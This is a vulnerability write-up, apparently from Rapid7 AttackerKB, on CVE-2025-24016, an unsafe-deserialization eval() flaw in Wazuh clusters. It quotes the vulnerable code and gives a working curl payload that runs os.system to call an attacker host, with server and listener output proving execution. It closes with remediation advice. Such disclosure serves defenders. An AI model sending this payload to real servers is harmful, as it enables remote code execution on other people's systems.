TECHNICAL ANALYSISEXPLOIT DEVELOPMENTCVE-2025-24016

CVE-2025-24016 — Wazuh Unsafe Deserialization Remote Code Execution

Wazuh is a free and open source platform used for threat prevention, detection, and response. Starting in version 4.4.0 and prior to version 4.9.1, an unsafe deserialization vulnerability allows for remote code execution on Wazuh servers.

Originally published on Rapid7 AttackerKB · 2025-07-16

Overview

An unsafe deserialization vulnerability allows for remote code execution on Wazuh servers. The vulnerability can be triggered by anybody with API access to a compromised dashboard or Wazuh servers in the cluster.

This vulnerability can only be triggered in a Wazuh multi-node cluster configuration, because it needs the distributed API function. The vulnerable code sits in the file /var/ossec/framework/wazuh/core/cluster/common.py at the function as_wazuh_object. Line 1822 handles the __unhandled_exec__ from a DAPI request and calls the unsafe eval() function which allows for remote code execution.

1795 def as_wazuh_object(dct: Dict):
1796     try:
1797         if '__callable__' in dct:
1798             encoded_callable = dct['__callable__']
1799             funcname = encoded_callable['__name__']
1800             if '__wazuh__' in encoded_callable:
1801                 # Encoded Wazuh instance method.
1802                 wazuh = Wazuh()
1803                 return getattr(wazuh, funcname)
1804             else:
1805                 # Encoded function or static method.
1806                 qualname = encoded_callable['__qualname__'].split('.')
1807                 classname = qualname[0] if len(qualname) > 1 else None
1808                 module_path = encoded_callable['__module__']
1809                 module = import_module(module_path)
1810                 if classname is None:
1811                     return getattr(module, funcname)
1812                 else:
1813                     return getattr(getattr(module, classname), funcname)
1814         elif '__wazuh_exception__' in dct:
1815             wazuh_exception = dct['__wazuh_exception__']
1816             return getattr(exception, wazuh_exception['__class__']).from_dict(wazuh_exception['__object__'])
1817         elif '__wazuh_result__' in dct:
1818             wazuh_result = dct['__wazuh_result__']
1819             return getattr(wresults, wazuh_result['__class__']).decode_json(wazuh_result['__object__'])
1820         elif '__wazuh_datetime__' in dct:
1821             return datetime.datetime.fromisoformat(dct['__wazuh_datetime__'])
1822         elif '__unhandled_exc__' in dct:
1823             exc_data = dct['__unhandled_exc__']
1824             return eval(exc_data['__class__'])(*exc_data['__args__'])
1825         return dct
1826
1827     except (KeyError, AttributeError):
1828         raise exception.WazuhInternalError(1000,
1829                                            extra_message=f"Wazuh object cannot be decoded from JSON {dct}",
1830                                            cmd_error=True)

The vulnerability can be triggered by a distributed API request that allows to specify a __unhandled_exc__ request in the body of the DAPI response. A DAPI request that does not check the request body is the endpoint /security/user/authenticate/run_as implemented by run_as_login in var/ossec/api/api/controllers/security_controller.py where the auth_context argument is completely controlled by the attacker. By sending a malicious run_as request to a worker server, it is possible to execute code on the master server.

Below is an example which triggers the vulnerability using a curl based payload. You need to know the API credentials to execute this DAPI request. curl -X POST -k -u "wazuh-wui:MyS3cr37P450r.*-" -H "Content-Type: application/json" --data '{"__unhandled_exc__":{"__class__": "os.system", "__args__": ["curl http://<attacker_ip>"]}}' https://<worker-server>:55000/security/user/authenticate/run_as

curl -X POST -k -u "wazuh-wui:MyS3cr37P450r.*-" -H "Content-Type: application/json" --data '{"__unhandled_exc__":{"__class__": "os.system", "__args__": ["curl http://192.168.201.10"]}}' https://localhost:56000/security/user/authenticate/run_as
{"data": {"token": "eyJhbGciOiJFUzUxMiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJ3YXp1aCIsImF1ZCI6IldhenVoIEFQSSBSRVNUIiwibmJmIjoxNzUyNjAwNzQ5LCJleHAiOjE3NTI2MDE2NDksInN1YiI6IndhenVoLXd1aSIsInJ1bl9hcyI6dHJ1ZSwicmJhY19yb2xlcyI6WzFdLCJyYmFjX21vZGUiOiJ3aGl0ZSIsImhhc2hfYXV0aF9jb250ZXh0IjoiYWYwNjM3ODY4NTRlZDZiMzQzNDYzZDQ4NDZjNDgwZDcifQ.ATNZjUkZImJPZkRO7Qv_ECazuECdm9JlUktqdZy4ygOOFDNBu46Fx7e5wPvEUFXro8xZbs6xP8hxYOyXwZQoMqFYAWQsEPOhzGTBmwy-R9vhLQhMtPzSV13k0SYgpyCuPZhH8-j7cazSB_jT9BlwlM9LbJ7Zbf3TrdUk0j8B3X18LbiY"}, "error": 0}%
# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.201.85 - - [15/Jul/2025 17:32:29] "GET / HTTP/1.1" 200 -

I have submitted a Metasploit module - PR 20387 that will do all the hard work for you. It is important to understand that the worker-server port (55000) should be exposed to the outside world in order to trigger this vulnerability. Using it directly on the master-server port (55000) will not work because the DAPI request is not leveraged in this case, hence the vulnerable code will not be triggered.

Remediation

The vulnerability exists in version 4.4.0 and all versions prior to version 4.9.1. Please upgrade your Wazuh server to version 4.9.1 or higher.

References

Credits

DanielFi Discovery